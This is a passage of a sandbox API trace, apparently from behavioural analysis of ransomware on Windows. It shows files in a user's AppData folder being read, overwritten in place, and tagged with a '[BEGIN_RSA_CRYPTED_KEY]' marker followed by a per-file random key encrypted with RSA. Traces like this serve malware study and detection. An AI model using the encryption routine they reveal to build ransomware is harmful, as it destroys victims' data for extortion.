pszString="NXjVDtaRI3YYeVxJ0MgbjalKDlg20ukYsCw8TEyjebNYIfB/cQfrfygkFXTdnf44\n+v+cF6ai4mxDnNOo5724xcRV/F1xf074D7CqpidvE6qQxoGGiehqt1gVkpJFBe2g\nZGSRENbvq+V8a4I4brDvnntsRaaeMv57l1r063k9cVilAJ3SDaf0A6hoEBobnzbo\n9Xj6TifekwtoxmgGKTQog9iF6MCnJJXqMD2xSZlJMHqw9AmYKWg9WVhH7yj/yUDj\n2eIh7QPjAC37+2g4RLCB4GiXY3FXkcz9XlwDpvb1Q7wS/mfkroWAEGk6bbYv+KK+\nB/HxVet97qvyKAhOv83Zhg==\n", pcchString=0x2e3f9a8) returned 1 [0221.288] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0221.288] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0221.288] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0221.288] CloseHandle (hObject=0x1840) returned 1 [0221.290] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0221.290] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\2a6007d66fbdc1f32b8041b89a7ad569ba5e85516e19287f45548ca357db277a", dwFileAttributes=0x80) returned 1 [0221.290] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x160) returned 0x66d168 [0221.290] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20e) returned 0x66e818 [0221.291] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\2a6007d66fbdc1f32b8041b89a7ad569ba5e85516e19287f45548ca357db277a" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\2a6007d66fbdc1f32b8041b89a7ad569ba5e85516e19287f45548ca357db277a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0221.291] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=526) returned 1 [0221.291] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20e) returned 0x66ea30 [0221.291] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20e) returned 0x66ec48 [0221.291] ReadFile (in: hFile=0x1840, lpBuffer=0x66ea30, nNumberOfBytesToRead=0x20e, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesRead=0x2e3f9b4*=0x20e, lpOverlapped=0x0) returned 1 [0221.369] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-526, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0221.369] WriteFile (in: hFile=0x1840, lpBuffer=0x66ec48*, nNumberOfBytesToWrite=0x20e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ec48*, lpNumberOfBytesWritten=0x2e3f9b4*=0x20e, lpOverlapped=0x0) returned 1 [0221.370] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x20e [0221.370] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0221.370] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0221.370] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0221.370] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0221.370] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0221.370] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x66ea30 [0221.370] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="cznLUElvKoa1erOu5x7hS8MLp36MYQuXuDlxfyfhcBlf4AOezvJ8T6SYZp1y0dGv\nnSj9/RrmD8izX3neOy2wK50MLJAKcptis6b0+dvi8HjIqjhUOJJQ5MAnsooPmklZ\nLKBVQTsEyUs0OlokbPku56Zau92Tm+G508rGDADo1RaNH0Y9pCLaSEB5XAfmDG/P\nbGnJ8a1yFwWzf5ec+vr1QaYeF5pkrogZvcIkKTvKM4UapPQQ6PXskUFV7LWJueeC\nE26YNG9jBmeMnbHwQOfofQIBcZw5w65pfiuBKgHI4O+28NWq/Y32Dgd2F7SCT+nI\nyRgw6bIfWsIIMR7OhlDjqg==\n", pcchString=0x2e3f9a8) returned 1 [0221.370] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0221.370] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0221.370] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0221.370] CloseHandle (hObject=0x1840) returned 1 [0221.372] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0221.372] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\2a104f1151db024c6dfc5c9f9e68353b4e4a19ba1cec6a324debd22d6beb3b5b", dwFileAttributes=0x80) returned 1 [0221.372] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x160) returned 0x66d2d0 [0221.372] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20e) returned 0x66e818 [0221.373] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\2a104f1151db024c6dfc5c9f9e68353b4e4a19ba1cec6a324debd22d6beb3b5b" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\2a104f1151db024c6dfc5c9f9e68353b4e4a19ba1cec6a324debd22d6beb3b5b"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0221.373] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=17248) returned 1 [0221.373] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4360) returned 0x2f35020 [0221.373] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4360) returned 0x2f39388 [0221.373] ReadFile (in: hFile=0x1840, lpBuffer=0x2f35020, nNumberOfBytesToRead=0x4360, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f35020*, lpNumberOfBytesRead=0x2e3f9b4*=0x4360, lpOverlapped=0x0) returned 1 [0221.402] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-17248, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0221.402] WriteFile (in: hFile=0x1840, lpBuffer=0x2f39388*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f39388*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4360, lpOverlapped=0x0) returned 1 [0221.402] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4360 [0221.402] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0221.402] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0221.402] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0221.402] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0221.403] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0221.403] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x66ea30 [0221.403] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="RuZ/qvJLbx+eG+/fwHk5HURcsChMcRrNuzix57QdL597kKr6kX3Tnkv2y1wXC21y\nnMgrTSZ/8Wwr8/l6qsF+AEo2n549bpM4C1PM/kUDodGT4B+PV37+f+hapbvNbFnd\nG7ap98d1iJ1PI3F8l30FFdo+BT6jxHrHyWOeTqJ4ZEPtxVC3PNPvOO5yCxuka09V\nVz4KO6WXoMMJwRx542vTYP3mKbYxrmXsqy8ewUfpAs7u/nSJ33vqUGsigyVCeKhm\neEcSW8VUuShE8WGtD9mwq77hs/C/eKBB+ID097wX1TQO7nK4aE9i14Cpwjjw5BNd\ni7DVMMmD5FdxOPI9yz3dYQ==\n", pcchString=0x2e3f9a8) returned 1 [0221.403] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0221.403] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0221.403] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0221.403] CloseHandle (hObject=0x1840) returned 1 [0221.409] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0221.409] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\2a0d12eaf601bee34ec27e259e078b544dc92f1da956845baf350faf15f2f147", dwFileAttributes=0x80) returned 1 [0221.409] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x160) returned 0x66d870 [0221.409] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20e) returned 0x66e818 [0221.409] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\2a0d12eaf601bee34ec27e259e078b544dc92f1da956845baf350faf15f2f147" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\2a0d12eaf601bee34ec27e259e078b544dc92f1da956845baf350faf15f2f147"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0221.410] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=385772) returned 1 [0221.410] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x5e2ec) returned 0x3351010 [0221.410] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x5e2ec) returned 0x33af308 [0221.411] ReadFile (in: hFile=0x1840, lpBuffer=0x3351010, nNumberOfBytesToRead=0x5e2ec, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3351010*, lpNumberOfBytesRead=0x2e3f9b4*=0x5e2ec, lpOverlapped=0x0) returned 1 [0221.450] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-385772, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0221.450] WriteFile (in: hFile=0x1840, lpBuffer=0x33af308*, nNumberOfBytesToWrite=0x5e2ec, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33af308*, lpNumberOfBytesWritten=0x2e3f9b4*=0x5e2ec, lpOverlapped=0x0) returned 1 [0221.451] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x5e2ec [0221.451] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0221.451] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0221.451] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0221.451] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0221.452] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0221.452] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x66ea30 [0221.452] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="CIgjrPXDK2WLb6TLtNff4b2gXkTAKdi/ZK7izqvHlK2uMxDtmbA6Zw7wbSYH+CRn\n0lDYCxW5847UgwKqUl/yk/Y+84/+Lflj8V1YmGo5+QFWY6zKFWaIqBGLBaZrFOMT\nXBi9vvE3/D4L08oqmb5lGWhe/xknxn1vQWHctaDLpG3p4SEL1bsCb0UpjcZsHTeG\nSgpFz5l2df7Gq4TSSS2hNS/TDLtcZqiVvA7oqhB6VZDfkJbTCvrE+p3aLx6bzsPH\nI8/pf6rCF71wRFq/zdNQJfbVahF+bMjhuiEXQXh93rbgtBa8HjB1esll/CgcP7nz\nWdjc9YwfX+PlHMB4Z72FCw==\n", pcchString=0x2e3f9a8) returned 1 [0221.452] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0221.452] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0221.452] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0221.452] CloseHandle (hObject=0x1840) returned 1 [0221.454] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0221.454] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\25f9fbe9c828adb5370a558c9a3d624977aa91202481906f7785b7900def1b04", dwFileAttributes=0x80) returned 1 [0221.454] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x160) returned 0x66de10 [0221.454] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20e) returned 0x66e818 [0221.454] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\25f9fbe9c828adb5370a558c9a3d624977aa91202481906f7785b7900def1b04" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\25f9fbe9c828adb5370a558c9a3d624977aa91202481906f7785b7900def1b04"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0221.455] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=2042) returned 1 [0221.455] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x7fa) returned 0x3351010 [0221.455] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x7fa) returned 0x313e008 [0221.455] ReadFile (in: hFile=0x1840, lpBuffer=0x3351010, nNumberOfBytesToRead=0x7fa, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3351010*, lpNumberOfBytesRead=0x2e3f9b4*=0x7fa, lpOverlapped=0x0) returned 1 [0221.714] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-2042, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0221.714] WriteFile (in: hFile=0x1840, lpBuffer=0x313e008*, nNumberOfBytesToWrite=0x7fa, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x313e008*, lpNumberOfBytesWritten=0x2e3f9b4*=0x7fa, lpOverlapped=0x0) returned 1 [0221.714] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x7fa [0221.714] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0221.714] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0221.714] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0221.714] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0221.715] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0221.715] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x66ea30 [0221.715] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="NA4XmwX71RTJpexRHjOEEFmUZDgTTrz4I4GoWYFh+azeFF6jnF3h/OkaZrY29uLq\nMxFFWXdNATa7Y+uTg5TZOSaixEgI+vS3uQg3qBg0/x7kl1eqps+bvH46IjyFAQdL\nwRrSH0VAPy9HhW/Ko8q/Dz227fp8qVaOB9+2wHwIErewCvNj0RVlpjLFM4ka+hWv\nC/Ah2w+D/1DA3QuWj5x0RV6BQIM4YcHShyqoAITU21nMbqHPi6ExFsaGcp00d5EC\nQ3n2BHpCr0UzaklVKZhKHD0IQvPxW/uKZIC3VR1O+AtF4/VgBmJB20SGcoyCo9kc\neZivDL8gh2ZqeJmOutNvKw==\n", pcchString=0x2e3f9a8) returned 1 [0221.715] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0221.715] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0221.715] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0221.715] CloseHandle (hObject=0x1840) returned 1 [0221.717] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0221.717] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\25365a8f39fbf4fd6d9a7acd7aa1443f509bde6738fa8267a4498bb27ca0106c", dwFileAttributes=0x80) returned 1 [0221.717] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x160) returned 0x66d708 [0221.717] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20e) returned 0x66e818 [0221.717] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\Assets\\25365a8f39fbf4fd6d9a7acd7aa1443f509bde6738fa8267a4498bb27ca0106c" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\assets\\25365a8f39fbf4fd6d9a7acd7aa1443f509bde6738fa8267a4498bb27ca0106c"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1840 [0221.717] GetFileSizeEx (in: hFile=0x1840, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=830) returned 1 [0221.717] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x33e) returned 0x66ea30 [0221.718] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x33e) returned 0x3351010 [0221.718] ReadFile (in: hFile=0x1840, lpBuffer=0x66ea30, nNumberOfBytesToRead=0x33e, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesRead=0x2e3f9b4*=0x33e, lpOverlapped=0x0) returned 1 [0221.775] SetFilePointer (in: hFile=0x1840, lDistanceToMove=-830, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0221.776] WriteFile (in: hFile=0x1840, lpBuffer=0x3351010*, nNumberOfBytesToWrite=0x33e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3351010*, lpNumberOfBytesWritten=0x2e3f9b4*=0x33e, lpOverlapped=0x0) returned 1 [0221.776] SetFilePointer (in: hFile=0x1840, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x33e [0221.776] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0221.776] WriteFile (in: hFile=0x1840, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0221.776] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0221.776] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0221.776] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0221.776] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x66ea30 [0221.776] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x66ea30, pcchString=0x2e3f9a8 | out: pszString="BOWAQrI9Vj9vnhMspl19gKty3QmWt8vW2Z/O7pzaas0r9KT1Ned0Vci9pgOuUdHV\naVyOJ+q17KFnxTeYEu2nYwwBRzUY02GQgabocjspVdAPTwtpXPZQL5LjCLUdXPMX\noT78eNbCOYLNuEGkF0C9kQ66TJeXX4gqioHn/SEJpFomljQcZcUn8OkkwALGW1tE\nfjnewmHHnrP+l7llfzkG9uy1oS4niTs5b/ISrdoYip/TPIm3si1SrJaIvt2f4PQT\nesrDoyh6IpmO1h5KwChSHtsSQEEFftUgkJYD6uL3R7J7wjDWZ51FHxv+g1nSkYGX\nqNooMa6nx7wv+aDjBLiUsg==\n", pcchString=0x2e3f9a8) returned 1 [0221.776] WriteFile (in: hFile=0x1840, lpBuffer=0x66ea30*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66ea30*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0221.777] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0221.777] WriteFile (in: hFile=0x1840, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0221.777] CloseHandle (hObject=0x1840) returned 